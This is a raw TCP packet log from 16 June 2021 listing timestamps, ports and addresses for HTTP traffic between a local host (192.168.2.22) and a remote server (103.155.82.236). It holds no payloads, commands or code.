Jun 16, 2021 11:55:52.655230045 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655245066 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655292034 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655294895 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655302048 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655338049 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655354023 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655376911 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655412912 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655415058 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655445099 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655452967 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655467987 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655491114 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655497074 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655540943 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655560970 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655608892 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655622005 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655659914 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655678034 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655698061 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655703068 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655759096 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655771971 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655821085 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655838013 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655860901 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655872107 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655922890 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655931950 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655961037 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655981064 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655998945 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.656008005 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.656038046 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.656054974 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.656085968 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.656090021 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.656133890 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.656150103 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.656192064 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.656482935 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.902893066 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.902954102 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.902992964 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.903050900 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.903088093 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.903172970 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.903177977 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.903197050 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.903218031 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.903258085 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.903318882 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.903359890 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.903364897 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907325029 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907383919 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907419920 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907453060 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907494068 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907515049 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907529116 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907531977 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907572031 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907596111 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907603025 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907620907 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907653093 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907659054 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907690048 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907720089 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907726049 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907758951 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907762051 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907794952 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907833099 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907844067 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907845974 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907854080 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907886028 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907923937 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907942057 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907953978 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.907963037 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.907974958 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908001900 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908027887 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908039093 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908070087 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908076048 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908096075 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908113956 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908128023 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908163071 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908180952 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908205986 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908222914 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908242941 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908265114 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908282042 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908294916 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908319950 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908356905 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908365011 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908374071 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908395052 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908421040 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908432961 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908456087 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908480883 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908499956 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908524036 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908562899 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908567905 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908581018 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908601999 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908616066 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908641100 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908659935 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908679008 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908687115 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908719063 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908742905 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908756971 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908796072 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908804893 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908811092 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908849001 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908864021 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908886909 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.908896923 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.908941984 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.909272909 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.153899908 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.153951883 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.153991938 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154027939 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154064894 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154103041 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154154062 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154164076 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154177904 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154205084 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154208899 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154247046 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154247046 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154262066 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154285908 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154320955 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154324055 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154344082 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154361963 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154401064 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154407024 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154421091 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154439926 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154444933 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154488087 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154496908 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154531002 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.154561996 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.154584885 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.158377886 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.159611940 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.159655094 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.159694910 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.159733057 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.159745932 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.159753084 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.159770966 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.159778118 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.159796000 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.159809113 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.159825087 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.159847021 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.159852982 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.159884930 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.159904003 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.159926891 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.159934044 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.159976959 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.159989119 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160015106 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160032988 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160053015 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160058975 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160092115 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160109997 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160129070 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160135984 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160168886 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160181999 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160207987 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160208941 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160255909 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160263062 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160299063 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160311937 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160336971 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160355091 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160375118 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160382986 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160414934 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160429955 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160451889 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160458088 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160490990 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160507917 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160530090 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160543919 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160578966 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160583973 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160620928 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160633087 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160660028 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160680056 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160698891 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160721064 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160737991 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160754919 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160774946 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160778046 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160811901 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160834074 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160850048 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160855055 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160897970 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160903931 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160939932 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160952091 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.160978079 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.160996914 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161015987 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161026955 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161055088 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161075115 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161092043 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161102057 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161130905 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161144972 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161170006 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161186934 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161211014 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161227942 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161282063 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161288023 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161340952 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161397934 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161439896 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161453009 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161478996 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161498070 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161537886 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161556005 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161578894 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161585093 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161637068 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161645889 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161679029 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161691904 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161719084 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161730051 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161770105 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161787987 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161807060 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161807060 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161854029 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161863089 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161896944 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161910057 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161935091 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161935091 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.161973000 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.161987066 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162012100 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162029982 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162049055 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162060022 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162087917 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162106991 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162125111 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162131071 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162174940 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162182093 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162218094 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162229061 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162255049 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162281036 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162301064 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162301064 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162341118 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162354946 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162378073 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162384033 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162415981 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162436962 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162453890 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162470102 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162493944 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162512064 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162532091 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162544966 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162570000 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162600040 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162616968 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162621975 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162659883 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162674904 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162708044 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162717104 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162755966 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162759066 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162800074 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162811041 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162837029 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162858009 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162874937 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162887096 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162914038 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162926912 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.162951946 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.162952900 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.163002968 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.165251017 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.406511068 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406541109 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406564951 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406589031 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406611919 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406637907 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406662941 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406686068 CEST	80	49167	103.155.82.236	192.168.2.22
